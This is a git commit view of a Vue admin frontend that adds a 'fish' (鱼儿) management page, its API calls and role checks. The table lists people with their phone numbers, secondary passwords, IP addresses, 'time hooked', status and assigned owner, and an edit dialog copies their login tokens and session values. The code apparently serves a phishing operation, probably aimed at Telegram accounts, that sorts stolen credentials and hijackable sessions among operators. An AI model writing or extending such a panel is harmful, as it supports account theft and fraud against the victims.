Browse Source

添加鱼苗管理功能,包括鱼苗列表视图、API接口和用户权限控制,优化导航菜单以支持新功能。

wuyi 4 months ago
parent
commit
43bb36679d
9 changed files with 1020 additions and 49 deletions
  1. 2 1
      package.json
  2. 72 1
      src/components/NavMenuItem.vue
  3. 10 1
      src/main.js
  4. 5 0
      src/router/index.js
  5. 67 46
      src/services/api.js
  6. 46 0
      src/stores/owner.js
  7. 3 0
      src/stores/user.js
  8. 804 0
      src/views/FishView.vue
  9. 11 0
      src/views/MainView.vue

+ 2 - 1
package.json

@@ -40,5 +40,6 @@
     "tailwindcss": "^4.0.17",
     "vite": "^6.2.1",
     "vite-plugin-vue-devtools": "^7.7.2"
-  }
+  },
+  "packageManager": "yarn@1.22.22+sha512.a6b2f7906b721bba3d67d4aff083df04dad64c399707841b7acf00f6b133b7ac24255f2652fa22ae3534329dc6180534e98d17432037ff6fd140556e2bb3137e"
 }

+ 72 - 1
src/components/NavMenuItem.vue

@@ -1,6 +1,19 @@
 <template>
   <li>
+    <div
+      v-if="item.items"
+      class="nav-menu-item rounded-lg cursor-pointer flex items-center justify-between"
+      @click="toggleSubmenu"
+    >
+      <div class="flex items-center">
+        <i :class="item.icon"></i>
+        <span class="ml-2">{{ item.label }}</span>
+      </div>
+      <i :class="submenuIcon" class="transition-transform duration-200"></i>
+    </div>
+
     <router-link
+      v-else
       :to="{ name: item.name }"
       class="nav-menu-item rounded-lg cursor-pointer flex items-center"
       :class="{ active: isActive }"
@@ -8,11 +21,17 @@
       <i :class="item.icon"></i>
       <span class="ml-2">{{ item.label }}</span>
     </router-link>
+
+    <transition name="submenu" appear>
+      <ul v-if="item.items && isSubmenuOpen" class="submenu">
+        <NavMenuItem v-for="(subItem, subIndex) in item.items" :key="subIndex" :item="subItem" />
+      </ul>
+    </transition>
   </li>
 </template>
 
 <script setup>
-import { computed } from 'vue'
+import { computed, ref } from 'vue'
 import { useRoute } from 'vue-router'
 
 const route = useRoute()
@@ -23,9 +42,19 @@ const props = defineProps({
   }
 })
 
+const isSubmenuOpen = ref(false)
+
 const isActive = computed(() => {
   return route.name === props.item.name
 })
+
+const submenuIcon = computed(() => {
+  return isSubmenuOpen.value ? 'pi pi-chevron-down' : 'pi pi-chevron-right'
+})
+
+const toggleSubmenu = () => {
+  isSubmenuOpen.value = !isSubmenuOpen.value
+}
 </script>
 
 <style scoped>
@@ -44,4 +73,46 @@ const isActive = computed(() => {
     font-weight: bold;
   }
 }
+
+.submenu {
+  margin-left: 1rem;
+  padding-left: 0.5rem;
+  border-left: 2px solid var(--p-surface-200);
+}
+
+.submenu .nav-menu-item {
+  margin: 0.125rem 0.5rem;
+  padding: 0.375rem 0.75rem;
+  font-size: 0.875rem;
+}
+
+.submenu-enter-active,
+.submenu-leave-active {
+  transition: all 0.3s ease;
+  overflow: hidden;
+}
+
+.submenu-enter-from {
+  opacity: 0;
+  transform: translateY(-10px);
+  max-height: 0;
+}
+
+.submenu-enter-to {
+  opacity: 1;
+  transform: translateY(0);
+  max-height: 200px;
+}
+
+.submenu-leave-from {
+  opacity: 1;
+  transform: translateY(0);
+  max-height: 200px;
+}
+
+.submenu-leave-to {
+  opacity: 0;
+  transform: translateY(-10px);
+  max-height: 0;
+}
 </style>

+ 10 - 1
src/main.js

@@ -1,7 +1,8 @@
 import './assets/main.css'
 
-import { createApp } from 'vue'
+import { createApp, computed } from 'vue'
 import { createPinia } from 'pinia'
+import { useUserStore } from '@/stores/user'
 import PrimeVue from 'primevue/config'
 import ToastService from 'primevue/toastservice'
 import ConfirmService from 'primevue/confirmationservice'
@@ -19,4 +20,12 @@ app.use(PrimeVue, { ripple: true, theme: { preset: Aura } })
 app.use(ToastService)
 app.use(ConfirmService)
 
+app.provide(
+    'isAdmin',
+    computed(() => {
+        if (!(useUserStore().userInfo && useUserStore().userInfo.role)) return false
+        return useUserStore().userInfo.role === 'admin'
+    })
+)
+
 app.mount('#app')

+ 5 - 0
src/router/index.js

@@ -39,6 +39,11 @@ const router = createRouter({
           path: 'chat-records',
           name: 'chat-records',
           component: () => import('@/views/ChatRecordsView.vue')
+        },
+        {
+          path: 'fish',
+          name: 'fish',
+          component: () => import('@/views/FishView.vue')
         }
       ]
     },

+ 67 - 46
src/services/api.js

@@ -29,7 +29,6 @@ api.interceptors.response.use(
     if (error.response?.status === 401) {
       const userStore = useUserStore()
       userStore.logout()
-      // 可以在这里添加重定向到登录页面的逻辑
     }
     console.log('errorxxx', error.response?.data || error)
     return Promise.reject(error.response?.data || error)
@@ -49,51 +48,6 @@ export const profile = async () => {
   return response.data
 }
 
-export const listWallet = async (page, size) => {
-  const response = await api.get('/wallets', {
-    params: {
-      page,
-      size
-    }
-  })
-  return response.data
-}
-
-export const createWallet = async (wallet) => {
-  const response = await api.post('/wallets', wallet)
-  return response.data
-}
-
-export const listDevice = async (page, size) => {
-  const response = await api.get('/devices', {
-    params: {
-      page,
-      size
-    }
-  })
-  return response.data
-}
-
-export const listTgUser = async (page, size) => {
-  const response = await api.get('/tg-users', {
-    params: {
-      page,
-      size
-    }
-  })
-  return response.data
-}
-
-export const listReplacements = async (page, size) => {
-  const response = await api.get('/wallets/replacements', {
-    params: {
-      page,
-      size
-    }
-  })
-  return response.data
-}
-
 export const resetPasswordApi = async (password) => {
   const response = await api.post('/users/reset-password', {
     password
@@ -111,6 +65,11 @@ export const listUsersApi = async (page, size) => {
   return response.data
 }
 
+export const allUsersApi = async () => {
+  const response = await api.get('/users/all')
+  return response.data
+}
+
 export const createUserApi = async (userData) => {
   const response = await api.post('/users/create', userData)
   return response.data
@@ -178,3 +137,65 @@ export const downloadFile = async (key) => {
   )
   return response.data
 }
+
+// Fish API
+export const listFish = async (page, size, id, name, phone, result, ownerName, createdAt, loginTime) => {
+  const response = await api.get('/fish', {
+    params: {
+      id,
+      page,
+      size,
+      name,
+      phone,
+      result,
+      ownerName,
+      createdAt,
+      loginTime
+    }
+  })
+  return response.data
+}
+
+export const getFishById = async (id) => {
+  const response = await api.get(`/fish/${id}`)
+  return response.data
+}
+
+export const createFish = async (fishData) => {
+  const response = await api.post('/fish/create', fishData)
+  return response.data
+}
+
+export const updateFish = async (fishData) => {
+  const response = await api.post('/fish/update', fishData)
+  return response.data
+}
+
+export const deleteFish = async (id) => {
+  const response = await api.post('/fish/delete', { id })
+  return response.data
+}
+
+export const batchDeleteFish = async (ids) => {
+  const response = await api.post('/fish/batch-delete', { ids })
+  return response.data
+}
+
+export const getFishStatistics = async () => {
+  const response = await api.get('/fish/statistics')
+  return response.data
+}
+
+export const getFishByOwner = async (ownerId) => {
+  const response = await api.get('/fish/by-owner', {
+    params: { ownerId }
+  })
+  return response.data
+}
+
+export const getFishByResult = async (result) => {
+  const response = await api.get('/fish/by-result', {
+    params: { result }
+  })
+  return response.data
+}

+ 46 - 0
src/stores/owner.js

@@ -0,0 +1,46 @@
+import { defineStore } from 'pinia'
+import { allUsersApi } from '@/services/api'
+import { ref } from 'vue'
+import { useUserStore } from '@/stores/user'
+
+export const useOwnerStore = defineStore('owner', () => {
+  const owners = ref([])
+  const isLoading = ref(false)
+  const error = ref(null)
+
+  const loadOwners = async () => {
+    if (owners.value.length > 0) return
+    
+    const userStore = useUserStore()
+    if (userStore.userInfo && userStore.userInfo.role !== 'admin') return
+    
+    try {
+      isLoading.value = true
+      error.value = null
+      const data = await allUsersApi()
+      owners.value = [
+        { name: '全部用户', value: '' },
+        ...data.map(user => ({ name: user.name, value: user.id }))
+      ]
+    } catch (err) {
+      error.value = '加载用户列表失败'
+      console.error('加载用户列表失败:', err)
+    } finally {
+      isLoading.value = false
+    }
+  }
+
+  const reset = () => {
+    owners.value = []
+    isLoading.value = false
+    error.value = null
+  }
+
+  return {
+    owners,
+    isLoading,
+    error,
+    loadOwners,
+    reset
+  }
+})

+ 3 - 0
src/stores/user.js

@@ -2,6 +2,7 @@ import { defineStore } from 'pinia'
 import { ref } from 'vue'
 import { login as apiLogin, profile } from '@/services/api'
 import { useStorage } from '@vueuse/core'
+import { useOwnerStore } from '@/stores/owner'
 
 export const useUserStore = defineStore('user', () => {
   const token = useStorage('token', '')
@@ -30,6 +31,8 @@ export const useUserStore = defineStore('user', () => {
   const logout = () => {
     token.value = ''
     userInfo.value = {}
+    const ownerStore = useOwnerStore()
+    ownerStore.reset()
   }
 
   return {

+ 804 - 0
src/views/FishView.vue

@@ -0,0 +1,804 @@
+<template>
+  <div class="rounded-lg p-4 bg-[var(--p-content-background)]">
+    <DataTable
+      :value="tableData.content"
+      :paginator="true"
+      paginatorTemplate="CurrentPageReport FirstPageLink PrevPageLink PageLinks NextPageLink LastPageLink RowsPerPageDropdown JumpToPageInput"
+      currentPageReportTemplate="{totalRecords} 条记录 "
+      :rows="tableData.metadata.size"
+      :rowsPerPageOptions="[10, 20, 50, 100]"
+      :totalRecords="tableData.metadata.total"
+      @page="handlePageChange"
+      lazy
+      scrollable
+      class="fish-table"
+    >
+      <template #header>
+        <div class="flex flex-wrap items-center gap-2">
+          <InputText v-model="searchForm.id" placeholder="ID" size="small" class="w-32" @keyup.enter="handleSearch" />
+          <InputText
+            v-model="searchForm.name"
+            placeholder="名称"
+            size="small"
+            class="w-32"
+            @keyup.enter="handleSearch"
+          />
+          <InputText
+            v-model="searchForm.phone"
+            placeholder="手机号"
+            size="small"
+            class="w-32"
+            @keyup.enter="handleSearch"
+          />
+          <InputText
+            v-model="searchForm.ownerName"
+            placeholder="所有者"
+            size="small"
+            class="w-32"
+            @keyup.enter="handleSearch"
+          />
+          <Dropdown
+            v-model="searchForm.result"
+            :options="resultOptions"
+            optionLabel="label"
+            optionValue="value"
+            placeholder="操作结果"
+            size="small"
+            class="w-32"
+            :showClear="true"
+          />
+          <DatePicker
+            v-model="searchForm.createdAt"
+            placeholder="中鱼时间"
+            size="small"
+            class="w-40"
+            dateFormat="yy-mm-dd"
+            showIcon
+          />
+          <DatePicker
+            v-model="searchForm.loginTime"
+            placeholder="登录时间"
+            size="small"
+            class="w-40"
+            dateFormat="yy-mm-dd"
+            showIcon
+          />
+          <Button icon="pi pi-search" @click="handleSearch" label="搜索" size="small" severity="secondary" />
+          <Button icon="pi pi-refresh" @click="handleRefresh" label="刷新" size="small" />
+          <div class="flex-1"></div>
+        </div>
+      </template>
+
+      <Column field="id" header="ID" style="width: 80px" frozen>
+        <template #body="slotProps">
+          <span
+            class="font-mono text-sm copyable-text"
+            :title="slotProps.data.id"
+            @click="copyToClipboard(slotProps.data.id)"
+          >
+            {{ slotProps.data.id }}
+          </span>
+        </template>
+      </Column>
+
+      <Column field="name" header="名称" style="min-width: 120px; max-width: 200px">
+        <template #body="slotProps">
+          <span
+            class="font-medium name-text copyable-text"
+            :title="slotProps.data.name"
+            @click="copyToClipboard(slotProps.data.name)"
+          >
+            {{ slotProps.data.name }}
+          </span>
+        </template>
+      </Column>
+
+      <Column field="username" header="用户名" style="min-width: 120px; max-width: 200px">
+        <template #body="slotProps">
+          <span
+            class="username-text copyable-text"
+            :title="slotProps.data.username"
+            @click="copyToClipboard(slotProps.data.username)"
+          >
+            {{ slotProps.data.username }}
+          </span>
+        </template>
+      </Column>
+
+      <Column field="phone" header="手机号" style="width: 120px">
+        <template #body="slotProps">
+          <span class="copyable-text" :title="slotProps.data.phone" @click="copyToClipboard(slotProps.data.phone)">
+            {{ slotProps.data.phone }}
+          </span>
+        </template>
+      </Column>
+
+      <Column field="password" header="二级密码" style="min-width: 140px; max-width: 200px">
+        <template #body="slotProps">
+          <span
+            class="password-text copyable-text"
+            :class="{ 'has-password': slotProps.data.password }"
+            :title="slotProps.data.password || '无'"
+            @click="copyToClipboard(slotProps.data.password || '无')"
+          >
+            {{ slotProps.data.password || '无' }}
+          </span>
+        </template>
+      </Column>
+
+      <Column field="result" header="状态" style="width: 140px">
+        <template #body="slotProps">
+          <span class="result-text" :title="slotProps.data.result">
+            {{ slotProps.data.result }}
+          </span>
+        </template>
+      </Column>
+
+      <Column field="remark" header="客户备注" style="width: 120px">
+        <template #body="slotProps">
+          <div class="text-sm remark-text remark-content" :title="slotProps.data.remark || '-'">
+            {{ slotProps.data.remark || '-' }}
+          </div>
+        </template>
+      </Column>
+
+      <Column field="ownerName" header="所有者" style="min-width: 100px; max-width: 150px">
+        <template #body="slotProps">
+          <span
+            class="owner-text copyable-text"
+            :title="slotProps.data.ownerName || '未分配'"
+            @click="copyToClipboard(slotProps.data.ownerName || '未分配')"
+          >
+            {{ slotProps.data.ownerName || '未分配' }}
+          </span>
+        </template>
+      </Column>
+
+      <Column field="loginTime" header="登录时间" style="width: 120px">
+        <template #body="slotProps">
+          <span class="text-sm time-text" :class="getTimeColorClass(slotProps.data.loginTime)">
+            {{ formatRelativeTime(slotProps.data.loginTime) }}
+          </span>
+        </template>
+      </Column>
+
+      <Column field="createdAt" header="中鱼时间" style="width: 120px">
+        <template #body="slotProps">
+          <span class="text-sm time-text" :class="getTimeColorClass(slotProps.data.createdAt)">
+            {{ formatRelativeTime(slotProps.data.createdAt) }}
+          </span>
+        </template>
+      </Column>
+
+      <Column field="ip" header="IP地址" style="width: 120px">
+        <template #body="slotProps">
+          <span
+            class="font-mono text-sm ip-text copyable-text"
+            :title="slotProps.data.ip"
+            @click="copyToClipboard(slotProps.data.ip)"
+          >
+            {{ slotProps.data.ip }}
+          </span>
+        </template>
+      </Column>
+
+      <Column header="操作" style="width: 200px" align-frozen="right" frozen>
+        <template #body="slotProps">
+          <div class="flex gap-1">
+            <Button
+              icon="pi pi-pencil"
+              severity="info"
+              size="small"
+              text
+              rounded
+              aria-label="编辑"
+              @click="openEditDialog(slotProps.data)"
+            />
+            <Button
+              icon="pi pi-trash"
+              severity="danger"
+              size="small"
+              text
+              rounded
+              aria-label="删除"
+              @click="confirmDelete(slotProps.data)"
+            />
+          </div>
+        </template>
+      </Column>
+    </DataTable>
+
+    <!-- 编辑弹窗 -->
+    <Dialog
+      v-model:visible="editDialog"
+      :modal="true"
+      header="编辑鱼儿信息"
+      :style="{ width: '700px' }"
+      position="center"
+    >
+      <div class="p-fluid">
+        <div class="grid grid-cols-3 gap-4">
+          <div class="field">
+            <label for="edit-name" class="font-medium text-sm mb-2 block">名称</label>
+            <InputText id="edit-name" v-model="editForm.name" class="w-full" />
+          </div>
+
+          <div class="field">
+            <label for="edit-username" class="font-medium text-sm mb-2 block">用户名</label>
+            <InputText id="edit-username" v-model="editForm.username" class="w-full" />
+          </div>
+
+          <div class="field">
+            <label for="edit-phone" class="font-medium text-sm mb-2 block">手机号</label>
+            <InputText id="edit-phone" v-model="editForm.phone" class="w-full" />
+          </div>
+
+          <div class="field">
+            <label for="edit-password" class="font-medium text-sm mb-2 block">二级密码</label>
+            <InputText id="edit-password" v-model="editForm.password" class="w-full" />
+          </div>
+
+          <div class="field">
+            <label for="edit-ip" class="font-medium text-sm mb-2 block">IP地址</label>
+            <InputText id="edit-ip" v-model="editForm.ip" class="w-full" />
+          </div>
+
+          <div class="field">
+            <label for="edit-ownerName" class="font-medium text-sm mb-2 block">所有者</label>
+            <Dropdown
+              id="edit-ownerName"
+              v-model="editForm.ownerId"
+              :options="ownerStore.owners"
+              optionLabel="name"
+              optionValue="value"
+              placeholder="选择所有者"
+              class="w-full"
+              @change="handleOwnerChange"
+            />
+          </div>
+        </div>
+
+        <div class="field mt-4">
+          <label for="edit-remark" class="font-medium text-sm mb-2 block">客户备注</label>
+          <Textarea
+            id="edit-remark"
+            v-model="editForm.remark"
+            rows="3"
+            class="w-full"
+            placeholder="请输入客户备注信息..."
+            autoResize
+          />
+        </div>
+
+        <div class="field mt-4">
+          <div class="flex items-center gap-2 mb-2">
+            <label for="edit-token" class="font-medium text-sm">Token</label>
+            <Button
+              icon="pi pi-copy"
+              size="small"
+              text
+              rounded
+              @click="copyToClipboard(editForm.token || '')"
+              :disabled="!editForm.token"
+              title="复制Token"
+            />
+          </div>
+          <Textarea
+            id="edit-token"
+            v-model="editForm.token"
+            rows="3"
+            class="w-full"
+            placeholder="请输入Token信息..."
+            autoResize
+          />
+        </div>
+
+        <div class="field mt-4">
+          <div class="flex items-center gap-2 mb-2">
+            <label for="edit-session" class="font-medium text-sm">Session</label>
+            <Button
+              icon="pi pi-copy"
+              size="small"
+              text
+              rounded
+              @click="copyToClipboard(editForm.session || '')"
+              :disabled="!editForm.session"
+              title="复制Session"
+            />
+          </div>
+          <Textarea
+            id="edit-session"
+            v-model="editForm.session"
+            rows="3"
+            class="w-full"
+            placeholder="请输入Session信息..."
+            autoResize
+          />
+        </div>
+      </div>
+
+      <template #footer>
+        <div class="flex justify-end gap-3">
+          <Button label="取消" severity="secondary" @click="editDialog = false" />
+          <Button label="保存" severity="success" @click="saveEdit" :loading="editLoading" />
+        </div>
+      </template>
+    </Dialog>
+  </div>
+</template>
+
+<script setup>
+import { listFish, deleteFish, updateFish } from '@/services/api'
+import { useDateFormat } from '@vueuse/core'
+import Button from 'primevue/button'
+import Column from 'primevue/column'
+import DataTable from 'primevue/datatable'
+import DatePicker from 'primevue/calendar'
+import Dialog from 'primevue/dialog'
+import Dropdown from 'primevue/dropdown'
+import InputText from 'primevue/inputtext'
+import Textarea from 'primevue/textarea'
+import { useConfirm } from 'primevue/useconfirm'
+import { useToast } from 'primevue/usetoast'
+import { onMounted, ref, inject } from 'vue'
+import { useOwnerStore } from '@/stores/owner'
+
+const toast = useToast()
+const confirm = useConfirm()
+const ownerStore = useOwnerStore()
+
+const isAdmin = inject('isAdmin')
+
+// 表格数据
+const tableData = ref({
+  content: [],
+  metadata: {
+    page: 0,
+    size: 20,
+    total: 0
+  }
+})
+
+// 加载状态
+const loading = ref(false)
+
+// 编辑相关
+const editDialog = ref(false)
+const editLoading = ref(false)
+const editForm = ref({
+  id: null,
+  name: null,
+  username: null,
+  phone: null,
+  password: null,
+  ip: null,
+  remark: null,
+  ownerName: null,
+  ownerId: null,
+  token: null,
+  session: null
+})
+
+// 搜索表单
+const searchForm = ref({
+  id: null,
+  name: null,
+  username: null,
+  phone: null,
+  ownerName: null,
+  result: null,
+  createdAt: null,
+  loginTime: null
+})
+
+// 状态选项
+const resultOptions = [
+  { label: '全部', value: null },
+  { label: '未获取客户码', value: '未获取客户码' },
+  { label: '已获取客户码', value: '已获取客户码' }
+]
+
+// 获取数据
+const fetchData = async () => {
+  loading.value = true
+  try {
+    const response = await listFish(
+      tableData.value.metadata.page,
+      tableData.value.metadata.size,
+      searchForm.value.id || undefined,
+      searchForm.value.name || undefined,
+      searchForm.value.phone || undefined,
+      searchForm.value.result || undefined,
+      searchForm.value.ownerName || undefined,
+      searchForm.value.createdAt ? formatDateForAPI(searchForm.value.createdAt) : undefined,
+      searchForm.value.loginTime ? formatDateForAPI(searchForm.value.loginTime) : undefined
+    )
+    tableData.value = response
+  } catch (error) {
+    toast.add({
+      severity: 'error',
+      summary: '错误',
+      detail: '获取鱼儿列表失败',
+      life: 3000
+    })
+  } finally {
+    loading.value = false
+  }
+}
+
+// 分页处理
+const handlePageChange = (event) => {
+  tableData.value.metadata.page = event.page
+  tableData.value.metadata.size = event.rows
+  fetchData()
+}
+
+// 搜索处理
+const handleSearch = () => {
+  tableData.value.metadata.page = 0
+  fetchData()
+}
+
+// 刷新处理(重置搜索条件并重新查询)
+const handleRefresh = () => {
+  searchForm.value = {
+    id: null,
+    name: null,
+    username: null,
+    phone: null,
+    ownerName: null,
+    result: null,
+    createdAt: null,
+    loginTime: null
+  }
+  tableData.value.metadata.page = 0
+  fetchData()
+}
+
+// 格式化相对时间
+const formatRelativeTime = (date) => {
+  if (!date) return '-'
+
+  const now = new Date()
+  const targetDate = new Date(date)
+  const diffInMs = now - targetDate
+
+  if (diffInMs < 0) return '刚刚'
+
+  const diffInSeconds = Math.floor(diffInMs / 1000)
+  const diffInMinutes = Math.floor(diffInSeconds / 60)
+  const diffInHours = Math.floor(diffInMinutes / 60)
+  const diffInDays = Math.floor(diffInHours / 24)
+
+  if (diffInDays > 0) {
+    const remainingHours = diffInHours % 24
+    return `${diffInDays}天${remainingHours}小时前`
+  } else if (diffInHours > 0) {
+    const remainingMinutes = diffInMinutes % 60
+    return `${diffInHours}小时${remainingMinutes}分钟前`
+  } else if (diffInMinutes > 0) {
+    return `${diffInMinutes}分钟前`
+  } else {
+    return '刚刚'
+  }
+}
+
+// 获取时间颜色类
+const getTimeColorClass = (date) => {
+  if (!date) return ''
+
+  const now = new Date()
+  const targetDate = new Date(date)
+  const diffInMs = now - targetDate
+
+  if (diffInMs < 0) return 'time-just-now'
+
+  const diffInSeconds = Math.floor(diffInMs / 1000)
+  const diffInMinutes = Math.floor(diffInSeconds / 60)
+  const diffInHours = Math.floor(diffInMinutes / 60)
+  const diffInDays = Math.floor(diffInHours / 24)
+
+  if (diffInDays > 0) {
+    return 'time-old' // 大于1天
+  } else if (diffInHours > 0) {
+    return 'time-medium' // 大于1小时少于1天
+  } else {
+    return 'time-recent' // 少于1小时
+  }
+}
+
+// 格式化日期用于API调用
+const formatDateForAPI = (date) => {
+  if (!date) return undefined
+  return useDateFormat(new Date(date), 'YYYY-MM-DD').value
+}
+
+// 确认删除
+const confirmDelete = (fish) => {
+  confirm.require({
+    message: `确定要删除鱼儿 "${fish.name}" 吗?`,
+    header: '确认删除',
+    icon: 'pi pi-exclamation-triangle',
+    accept: () => deleteFishRecord(fish.id)
+  })
+}
+
+// 删除鱼儿
+const deleteFishRecord = async (id) => {
+  try {
+    await deleteFish(id)
+    toast.add({
+      severity: 'success',
+      summary: '成功',
+      detail: '删除成功',
+      life: 3000
+    })
+    fetchData()
+  } catch (error) {
+    toast.add({
+      severity: 'error',
+      summary: '错误',
+      detail: '删除失败',
+      life: 3000
+    })
+  }
+}
+
+// 复制到剪贴板
+const copyToClipboard = async (text) => {
+  try {
+    await navigator.clipboard.writeText(text)
+  } catch (error) {
+    // 降级方案:使用传统方法
+    const textArea = document.createElement('textarea')
+    textArea.value = text
+    document.body.appendChild(textArea)
+    textArea.select()
+    document.execCommand('copy')
+    document.body.removeChild(textArea)
+  }
+}
+
+// 打开编辑弹窗
+const openEditDialog = (fish) => {
+  let ownerId = null
+  if (fish.ownerName) {
+    const owner = ownerStore.owners.find((owner) => owner.name === fish.ownerName)
+    if (owner) {
+      ownerId = owner.value
+    }
+  }
+
+  editForm.value = {
+    id: fish.id,
+    name: fish.name || null,
+    username: fish.username || null,
+    phone: fish.phone || null,
+    password: fish.password || null,
+    ip: fish.ip || null,
+    remark: fish.remark || null,
+    ownerName: fish.ownerName || null,
+    ownerId: ownerId,
+    token: fish.token || null,
+    session: fish.session || null
+  }
+  editDialog.value = true
+}
+
+// 保存编辑
+const saveEdit = async () => {
+  editLoading.value = true
+  try {
+    await updateFish(editForm.value)
+    toast.add({
+      severity: 'success',
+      summary: '成功',
+      detail: '更新成功',
+      life: 3000
+    })
+    editDialog.value = false
+    fetchData() // 刷新列表
+  } catch (error) {
+    toast.add({
+      severity: 'error',
+      summary: '错误',
+      detail: '更新失败',
+      life: 3000
+    })
+  } finally {
+    editLoading.value = false
+  }
+}
+
+// 处理所有者变化
+const handleOwnerChange = (event) => {
+  const selectedUserId = event.value
+  if (selectedUserId) {
+    const selectedOwner = ownerStore.owners.find((owner) => owner.value === selectedUserId)
+    if (selectedOwner) {
+      editForm.value.ownerId = selectedOwner.value
+      editForm.value.ownerName = selectedOwner.name
+    }
+  } else {
+    editForm.value.ownerId = null
+    editForm.value.ownerName = null
+  }
+}
+
+// 初始化
+onMounted(async () => {
+  if (isAdmin.value) {
+    await ownerStore.loadOwners()
+  }
+  fetchData()
+})
+</script>
+
+<style scoped>
+.p-datatable-sm .p-datatable-tbody > tr > td {
+  padding: 0.5rem;
+}
+
+.p-datatable-sm .p-datatable-thead > tr > th {
+  padding: 0.5rem;
+}
+
+.fish-table {
+  width: 100%;
+}
+
+.fish-table .p-datatable-wrapper {
+  overflow-x: auto;
+}
+
+.fish-table .p-datatable-thead th {
+  white-space: nowrap;
+  min-width: 100px;
+}
+
+.font-mono {
+  font-family: 'Monaco', 'Menlo', 'Ubuntu Mono', monospace;
+}
+
+.name-text {
+  max-width: 200px;
+  overflow: hidden;
+  text-overflow: ellipsis;
+  white-space: nowrap;
+  display: inline-block;
+}
+
+.username-text {
+  max-width: 200px;
+  overflow: hidden;
+  text-overflow: ellipsis;
+  white-space: nowrap;
+  display: inline-block;
+}
+
+.result-text {
+  width: 140px;
+  overflow: hidden;
+  text-overflow: ellipsis;
+  white-space: nowrap;
+  display: inline-block;
+}
+
+.remark-content {
+  width: 120px;
+  word-wrap: break-word;
+  word-break: break-all;
+  white-space: normal;
+  line-height: 1.2;
+  max-height: 60px;
+  overflow-y: auto;
+}
+
+.owner-text {
+  max-width: 150px;
+  overflow: hidden;
+  text-overflow: ellipsis;
+  white-space: nowrap;
+  display: inline-block;
+}
+
+.time-text {
+  width: 140px;
+  overflow: hidden;
+  text-overflow: ellipsis;
+  white-space: nowrap;
+  display: inline-block;
+}
+
+.text-gray-600 {
+  color: #6b7280;
+}
+
+.remark-text {
+  color: #059669;
+  font-weight: 500;
+}
+
+.password-text {
+  color: #6b7280;
+  font-style: italic;
+  font-size: 0.875rem;
+  word-wrap: break-word;
+  word-break: break-all;
+  display: inline-block;
+  line-height: 1.2;
+  overflow: hidden;
+  text-overflow: ellipsis;
+  white-space: nowrap;
+  background-color: #f3f4f6;
+  padding: 2px 6px;
+  border-radius: 4px;
+  width: fit-content;
+  max-width: 200px;
+}
+
+.password-text.has-password {
+  color: #2563eb;
+  font-weight: 500;
+}
+
+.ip-text {
+  max-width: 120px;
+  overflow: hidden;
+  text-overflow: ellipsis;
+  white-space: nowrap;
+  display: inline-block;
+}
+
+.time-recent {
+  color: #059669;
+  font-weight: 600;
+}
+
+.time-medium {
+  color: #ee5808;
+  font-weight: 500;
+}
+
+.time-old {
+  color: #6b7280;
+  font-weight: 400;
+}
+
+.time-just-now {
+  color: #059669;
+  font-weight: 500;
+}
+
+.font-medium {
+  font-weight: 500;
+}
+
+.text-sm {
+  font-size: 0.875rem;
+}
+
+.ml-2 {
+  margin-left: 0.5rem;
+}
+
+.w-full {
+  width: 100%;
+}
+
+.copyable-text {
+  cursor: pointer;
+  transition: all 0.2s ease;
+  user-select: none;
+}
+
+.copyable-text:hover {
+  background-color: #e5e7eb;
+  border-radius: 4px;
+}
+
+.copyable-text:active {
+  background-color: #d1d5db;
+  transform: scale(0.98);
+}
+</style>

+ 11 - 0
src/views/MainView.vue

@@ -42,6 +42,17 @@ const navItems = [
     icon: 'pi pi-fw pi-comments',
     name: 'chat-records'
   },
+  {
+    label: '鱼苗管理',
+    icon: 'pi pi-fw pi-telegram',
+    items: [
+      {
+        label: '鱼儿列表',
+        icon: 'pi pi-fw pi-list',
+        name: 'fish'
+      }
+    ]
+  },
   {
     label: '用户管理',
     icon: 'pi pi-fw pi-user',